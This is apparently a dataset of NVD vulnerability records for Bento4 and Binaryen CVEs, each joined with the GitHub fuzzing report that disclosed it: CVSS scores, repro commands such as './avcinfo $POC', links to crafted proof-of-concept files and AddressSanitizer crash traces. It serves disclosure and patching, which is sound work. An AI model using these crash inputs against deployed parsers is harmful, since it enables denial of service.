{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/354" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/354" } ]

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[ "770" ]

770

https://github.com/axiomatic-systems/Bento4/issues/354

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

Hi, there. I test the program at the master branch. ``` commit 5a0ce8023ea312a2d87c194049106e893ed57767 Merge: 91d2bc6 bab5bb9 Author: Gilles Boccon-Gibod <bok@bok.net> Date: Fri Dec 28 22:42:38 2018 -0800 Merge pull request #347 from orivej/apps Let Scons and CMake build all apps ``` An Out of Memory problem was discovered in function AP4_Array<AP4_CttsTableEntry>::EnsureCapacity in Ap4Array.h. The program tries to allocate with a large number size( 0x6eff83000 bytes) of memory. Please use the "./mp4dump $POC" to reproduce the bug. [POC.zip](https://github.com/axiomatic-systems/Bento4/files/2719261/POC.zip)

when running mp4dump, there is a out-of-memory problem in AP4_Array<AP4_CttsTableEntry>::EnsureCapacity in Ap4Array.h

https://api.github.com/repos/axiomatic-systems/Bento4/issues/354/comments

1

2019-01-01T10:46:25Z

2019-01-01T10:46:50Z

https://github.com/axiomatic-systems/Bento4/issues/354

395,072,870

354

159

CVE-2019-7699

2019-02-10T22:29:00.403

A heap-based buffer over-read occurs in AP4_BitStream::WriteBytes in Codecs/Ap4BitStream.cpp in Bento4 v1.5.1-627. Remote attackers could leverage this vulnerability to cause an exception via crafted mp4 input, which leads to a denial of service.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/355" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/355" } ]

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[ "125" ]

125

https://github.com/axiomatic-systems/Bento4/issues/355

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

Hi, there. A Heap-buffer-overflow problem was discovered in function AP4_BitStream::WriteBytes(unsigned char const*, unsigned int) in Ap4BitStream.cpp. A crafted input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./avcinfo $POC" to reproduce the error. [POC.zip](https://github.com/axiomatic-systems/Bento4/files/2719284/POC.zip) ``` ================================================================= ==5498==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eff4 at pc 0x0000004a817d bp 0x7ffddfab9910 sp 0x7ffddfab90c0 READ of size 8 at 0x60200000eff4 thread T0 #0 0x4a817c in __asan_memcpy (/Bento4/Build/avcinfo+0x4a817c) #1 0x4f90ab in AP4_BitStream::WriteBytes(unsigned char const*, unsigned int) /Bento4/Source/C++/Codecs/Ap4BitStream.cpp:133:9 #2 0x4f4829 in PrintSliceInfo(unsigned char const*) /Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:84:5 #3 0x4f40a3 in main /Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:171:21 #4 0x7f9e01e3982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 #5 0x41e318 in _start (/Bento4/Build/avcinfo+0x41e318) 0x60200000eff4 is located 0 bytes to the right of 4-byte region [0x60200000eff0,0x60200000eff4) allocated by thread T0 here: #0 0x4efb90 in operator new[](unsigned long) (/Bento4/Build/avcinfo+0x4efb90) #1 0x51b622 in AP4_DataBuffer::ReallocateBuffer(unsigned int) /Bento4/Source/C++/Core/Ap4DataBuffer.cpp:210:28 #2 0x51bb39 in AP4_DataBuffer::SetDataSize(unsigned int) /Bento4/Source/C++/Core/Ap4DataBuffer.cpp:151:33 #3 0x4f786b in AP4_NalParser::Feed(void const*, unsigned int, unsigned int&, AP4_DataBuffer const*&, bool) /Bento4/Source/C++/Codecs/Ap4NalParser.cpp:188:9 #4 0x4f39f5 in main /Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:150:22 #5 0x7f9e01e3982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 SUMMARY: AddressSanitizer: heap-buffer-overflow (/Bento4/Build/avcinfo+0x4a817c) in __asan_memcpy Shadow bytes around the buggy address: 0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa 0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==5498==ABORTING Aborted ``` $ git log ``` commit 5a0ce8023ea312a2d87c194049106e893ed57767 Merge: 91d2bc6 bab5bb9 Author: Gilles Boccon-Gibod <bok@bok.net> Date: Fri Dec 28 22:42:38 2018 -0800 Merge pull request #347 from orivej/apps Let Scons and CMake build all apps ```

When running avcinfo, a heap-buffer-overflow occur in function AP4_BitStream::WriteBytes in Ap4BitStream.cpp

https://api.github.com/repos/axiomatic-systems/Bento4/issues/355/comments

0

2019-01-01T11:33:09Z

https://github.com/axiomatic-systems/Bento4/issues/355

395,075,442

355

160

CVE-2019-7700

2019-02-10T22:29:00.450

A heap-based buffer over-read was discovered in wasm::WasmBinaryBuilder::visitCall in wasm-binary.cpp in Binaryen 1.38.22. A crafted wasm input can cause a segmentation fault, leading to denial-of-service, as demonstrated by wasm-merge.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1864" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1864" } ]

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[ "125" ]

125

https://github.com/WebAssembly/binaryen/issues/1864

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Heap-buffer-overflow problem was discovered in function wasm::WasmBinaryBuilder::visitCall(wasm::Call*) in wasm-binary.cpp in wasm. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./wasm-merge $POC" to reproduce the error. [BOF.zip](https://github.com/WebAssembly/binaryen/files/2751979/BOF.zip) The ASAN dumps the stack trace as follows: ``` ================================================================= ==5194==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000001858 at pc 0x000000877201 bp 0x7ffd4b516d70 sp 0x7ffd4b516d68 READ of size 8 at 0x606000001858 thread T0 #0 0x877200 in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) /binaryen/src/wasm/wasm-binary.cpp:1954:12 #1 0x865f89 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1685:38 #2 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #3 0x86047c in wasm::WasmBinaryBuilder::readExpression() /binaryen/src/wasm/wasm-binary.cpp:1326:3 #4 0x83aee8 in wasm::WasmBinaryBuilder::readGlobals() /binaryen/src/wasm/wasm-binary.cpp:1344:18 #5 0x816f37 in wasm::WasmBinaryBuilder::read() /binaryen/src/wasm/wasm-binary.cpp:682:9 #6 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:52:10 #7 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:71:5 #8 0x60aa08 in main /binaryen/src/tools/wasm-merge.cpp:617:16 #9 0x7fadbeaf082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #10 0x508d58 in _start (/binaryen/build/bin/wasm-merge+0x508d58) Address 0x606000001858 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow /binaryen/src/wasm/wasm-binary.cpp:1954:12 in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) Shadow bytes around the buggy address: 0x0c0c7fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff82d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff82f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c0c7fff8300: fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa 0x0c0c7fff8310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==5194==ABORTING ``` $ git log ``` commit 45714b5fc6cf14c112bc4f188aca427464ab69d8 Author: Alon Zakai <alonzakai@gmail.com> Date: Thu Jan 10 19:31:20 2019 -0800 Compare binaryen fuzz-exec to JS VMs (#1856) The main fuzz_opt.py script compares JS VMs, and separately runs binaryen's fuzz-exec that compares the binaryen interpreter to itself (before and after opts). This PR lets us directly compare binaryen's interpreter output to JS VMs. This found a bunch of minor things we can do better on both sides, giving more fuzz coverage. To enable this, a bunch of tiny fixes were needed: * Add --fuzz-exec-before which is like --fuzz-exec but just runs the code before opts are run, instead of before and after. * Normalize double printing (so JS and C++ print comparable things). This includes negative zero in JS, which we never printed properly til now. * Various improvements to how we print fuzz-exec logging - remove unuseful things, and normalize the others across JS and C++. * Properly legalize the wasm when --emit-js-wrapper (i.e., we will run the code from JS), and use that in the JS wrapper code. ```

A Heap-buffer-overflow problem was discovered in function wasm::WasmBinaryBuilder::visitCall(wasm::Call*) in wasm-binary.cpp

https://api.github.com/repos/WebAssembly/binaryen/issues/1864/comments

1

2019-01-12T12:21:27Z

2025-01-24T08:26:31Z

https://github.com/WebAssembly/binaryen/issues/1864

398,549,495

1,864

161

CVE-2019-7701

2019-02-10T22:29:00.497

A heap-based buffer over-read was discovered in wasm::SExpressionParser::skipWhitespace() in wasm-s-parser.cpp in Binaryen 1.38.22. A crafted wasm input can cause a segmentation fault, leading to denial-of-service, as demonstrated by wasm2js.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1863" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1863" } ]

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[ "125" ]

125

https://github.com/WebAssembly/binaryen/issues/1863

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Heap-buffer-overflow problem was discovered in function wasm::SExpressionParser::skipWhitespace() in wasm-s-parser.cpp in wasm. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./wasm2js $POC" to reproduce the error. [POC.zip](https://github.com/WebAssembly/binaryen/files/2751952/POC.zip) The ASAN dumps the stack trace as follows: ``` ================================================================= ==17910==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000001f7 at pc 0x00000188f694 bp 0x7ffed69f49b0 sp 0x7ffed69f49a8 READ of size 1 at 0x6020000001f7 thread T0 #0 0x188f693 in wasm::SExpressionParser::skipWhitespace() /binaryen/src/wasm/wasm-s-parser.cpp:175:20 #1 0x188b355 in wasm::SExpressionParser::parse() /binaryen/src/wasm/wasm-s-parser.cpp:121:5 #2 0x188aecf in wasm::SExpressionParser::SExpressionParser(char*) /binaryen/src/wasm/wasm-s-parser.cpp:112:12 #3 0x64b1a6 in std::unique_ptr<wasm::SExpressionParser, std::default_delete<wasm::SExpressionParser> > wasm::make_unique<wasm::SExpressionParser, char*>(char*&&) /binaryen/src/support/utilities.h:58:35 #4 0x64b1a6 in main /binaryen/src/tools/wasm2js.cpp:87 #5 0x7f18ad0d782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #6 0x50ccb8 in _start (/binaryen/build/bin/wasm2js+0x50ccb8) 0x6020000001f7 is located 0 bytes to the right of 7-byte region [0x6020000001f0,0x6020000001f7) allocated by thread T0 here: #0 0x6051b0 in operator new(unsigned long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:92 #1 0x1b56f57 in __gnu_cxx::new_allocator<char>::allocate(unsigned long, void const*) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:111:27 #2 0x1b56f57 in std::allocator_traits<std::allocator<char> >::allocate(std::allocator<char>&, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:436 #3 0x1b56f57 in std::_Vector_base<char, std::allocator<char> >::_M_allocate(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:172 #4 0x1b56f57 in std::_Vector_base<char, std::allocator<char> >::_M_create_storage(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:187 #5 0x1b56f57 in std::_Vector_base<char, std::allocator<char> >::_Vector_base(unsigned long, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:138 #6 0x1b56f57 in std::vector<char, std::allocator<char> >::vector(unsigned long, char const&, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:297 #7 0x1b56f57 in std::vector<char, std::allocator<char> > wasm::read_file<std::vector<char, std::allocator<char> > >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, wasm::Flags::BinaryOption, wasm::Flags::DebugOption) /binaryen/src/support/file.cpp:42 #8 0x64ae18 in main /binaryen/src/tools/wasm2js.cpp:85:11 #9 0x7f18ad0d782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow /binaryen/src/wasm/wasm-s-parser.cpp:175:20 in wasm::SExpressionParser::skipWhitespace() Shadow bytes around the buggy address: 0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff8000: fa fa fd fa fa fa fd fd fa fa 02 fa fa fa 00 fa 0x0c047fff8010: fa fa 06 fa fa fa 04 fa fa fa 00 02 fa fa 00 02 0x0c047fff8020: fa fa 06 fa fa fa 02 fa fa fa 02 fa fa fa 02 fa =>0x0c047fff8030: fa fa 04 fa fa fa 02 fa fa fa 02 fa fa fa[07]fa 0x0c047fff8040: fa fa 00 fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==17910==ABORTING ``` $ git log ``` commit 45714b5fc6cf14c112bc4f188aca427464ab69d8 Author: Alon Zakai <alonzakai@gmail.com> Date: Thu Jan 10 19:31:20 2019 -0800 Compare binaryen fuzz-exec to JS VMs (#1856) The main fuzz_opt.py script compares JS VMs, and separately runs binaryen's fuzz-exec that compares the binaryen interpreter to itself (before and after opts). This PR lets us directly compare binaryen's interpreter output to JS VMs. This found a bunch of minor things we can do better on both sides, giving more fuzz coverage. To enable this, a bunch of tiny fixes were needed: * Add --fuzz-exec-before which is like --fuzz-exec but just runs the code before opts are run, instead of before and after. * Normalize double printing (so JS and C++ print comparable things). This includes negative zero in JS, which we never printed properly til now. * Various improvements to how we print fuzz-exec logging - remove unuseful things, and normalize the others across JS and C++. * Properly legalize the wasm when --emit-js-wrapper (i.e., we will run the code from JS), and use that in the JS wrapper code. ```

A Heap-buffer-overflow problem was discovered in function wasm::SExpressionParser::skipWhitespace() in wasm-s-parser.cpp in wasm.

https://api.github.com/repos/WebAssembly/binaryen/issues/1863/comments

1

2019-01-12T11:46:51Z

2019-01-16T19:15:06Z

https://github.com/WebAssembly/binaryen/issues/1863

398,547,208

1,863

162

CVE-2019-7702

2019-02-10T22:29:00.560

A NULL pointer dereference was discovered in wasm::SExpressionWasmBuilder::parseExpression in wasm-s-parser.cpp in Binaryen 1.38.22. A crafted wasm input can cause a segmentation fault, leading to denial-of-service, as demonstrated by wasm-as.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1867" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1867" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:webassembly:binaryen:*:*:*:*:*:*:*:*", "matchCriteriaId": "D2F4FEB1-4149-4952-8678-FC42E20FCE76", "versionEndExcluding": "64", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "476" ]

476

https://github.com/WebAssembly/binaryen/issues/1867

[ "Exploit", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Null pointer Deference problem was discovered in wasm::SExpressionWasmBuilder::parseExpression(wasm::Element&) in wasm-s-parser.cpp. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "`wasm-as $POC`" or "`wasm2js $POC`" to reproduce the problem. [POC.zip](https://github.com/WebAssembly/binaryen/files/2753041/POC.zip) The ASAN dumps the stack trace as follows: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==7649==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000d0 (pc 0x0000018d832f bp 0x7fffd64e9650 sp 0x7fffd64e9620 T0) ==7649==The signal is caused by a READ memory access. ==7649==Hint: address points to the zero page. #0 0x18d832e in std::_Hashtable<wasm::Expression*, std::pair<wasm::Expression* const, wasm::Function::DebugLocation>, std::allocator<std::pair<wasm::Expression* const, wasm::Function::DebugLocation> >, std::__detail::_Select1st, std::equal_to<wasm::Expression*>, std::hash<wasm::Expression*>, std::__detail::_Mod_range_hashing, std::__detail::_Default_ranged_hash, std::__detail::_Prime_rehash_policy, std::__detail::_Hashtable_traits<false, false, true> >::_M_bucket_index(wasm::Expression* const&, unsigned long) const /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/hashtable.h:631:60 #1 0x18d832e in std::__detail::_Map_base<wasm::Expression*, std::pair<wasm::Expression* const, wasm::Function::DebugLocation>, std::allocator<std::pair<wasm::Expression* const, wasm::Function::DebugLocation> >, std::__detail::_Select1st, std::equal_to<wasm::Expression*>, std::hash<wasm::Expression*>, std::__detail::_Mod_range_hashing, std::__detail::_Default_ranged_hash, std::__detail::_Prime_rehash_policy, std::__detail::_Hashtable_traits<false, false, true>, true>::operator[](wasm::Expression* const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/hashtable_policy.h:720 #2 0x18d832e in std::unordered_map<wasm::Expression*, wasm::Function::DebugLocation, std::hash<wasm::Expression*>, std::equal_to<wasm::Expression*>, std::allocator<std::pair<wasm::Expression* const, wasm::Function::DebugLocation> > >::operator[](wasm::Expression* const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/unordered_map.h:976 #3 0x18d832e in wasm::SExpressionWasmBuilder::parseExpression(wasm::Element&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-s-parser.cpp:660 #4 0x18bf60f in wasm::SExpressionWasmBuilder::parseExpression(wasm::Element*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm-s-parser.h:160:12 #5 0x18bf60f in wasm::SExpressionWasmBuilder::parseGlobal(wasm::Element&, bool) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-s-parser.cpp:1712 #6 0x18a2716 in wasm::SExpressionWasmBuilder::parseModuleElement(wasm::Element&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-s-parser.cpp:325:28 #7 0x18960ee in wasm::SExpressionWasmBuilder::SExpressionWasmBuilder(wasm::Module&, wasm::Element&, wasm::Name*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-s-parser.cpp:292:5 #8 0x64b56f in std::unique_ptr<wasm::SExpressionWasmBuilder, std::default_delete<wasm::SExpressionWasmBuilder> > wasm::make_unique<wasm::SExpressionWasmBuilder, wasm::Module&, wasm::Element&>(wasm::Module&, wasm::Element&) /home/wencheng/Documents/FuzzingObject/binaryen/src/support/utilities.h:58:35 #9 0x64b56f in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm2js.cpp:91 #10 0x7f6f8df5482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #11 0x50ccb8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm2js+0x50ccb8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV 